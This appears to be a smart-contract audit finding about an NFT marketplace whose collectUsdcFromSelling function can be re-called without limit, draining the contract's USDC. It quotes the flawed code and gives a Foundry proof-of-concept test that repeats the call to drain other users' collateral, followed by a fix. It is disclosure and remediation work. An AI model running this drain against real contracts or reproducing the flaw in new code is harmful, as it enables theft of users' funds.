collectUsdcFromSelling never clears state after payout, allowing infinite re-calls that drain the entire contract USDC balance
Description
When a seller's NFT is bought, collectUsdcFromSelling is intended to transfer the sale proceeds (price - fees) plus the minting collateral back to the seller exactly once. However, the function never zeros collateralForMinting[listing.tokenId], never clears listing.price or listing.seller, and has no "collected" flag. The function is infinitely re-callable, paying the seller the full amount on every invocation until the contract's USDC balance is emptied.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
@> uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller);
@>
}
Risk
Likelihood:
Impact:
totalFeesCollected inflates beyond actual fees on each call, eventually causing withdrawFees() to revert when it attempts to transfer more than the remaining balance
Proof of Concept
function test_NM001_RepeatedCollectDrainsContract() public {
address alice = makeAddr("alice");
address[] memory victims = new address[](4);
for (uint i = 0; i < 4; i++) {
victims[i] = makeAddr(string(abi.encodePacked("victim", i)));
_mintAndDepositCollateral(victims[i], i + 2);
}
_mintAndDepositCollateral(alice, 1);
vm.prank(alice);
nftDealers.list(1, 10e6);
address bob = makeAddr("bob");
deal(address(usdc), bob, 10e6);
vm.startPrank(bob);
usdc.approve(address(nftDealers), 10e6);
nftDealers.buy(1);
vm.stopPrank();
uint256 balanceBefore = usdc.balanceOf(alice);
vm.startPrank(alice);
nftDealers.collectUsdcFromSelling(1);
nftDealers.collectUsdcFromSelling(1);
nftDealers.collectUsdcFromSelling(1);
nftDealers.collectUsdcFromSelling(1);
vm.stopPrank();
uint256 aliceGain = usdc.balanceOf(alice) - balanceBefore;
uint256 contractBalance = usdc.balanceOf(address(nftDealers));
assertGt(aliceGain, 50e6);
assertLt(contractBalance, 40e6);
}
Recommended Mitigation
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ // Clear state BEFORE transfers (CEI pattern)
+ collateralForMinting[listing.tokenId] = 0;
+ delete s_listings[_listingId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}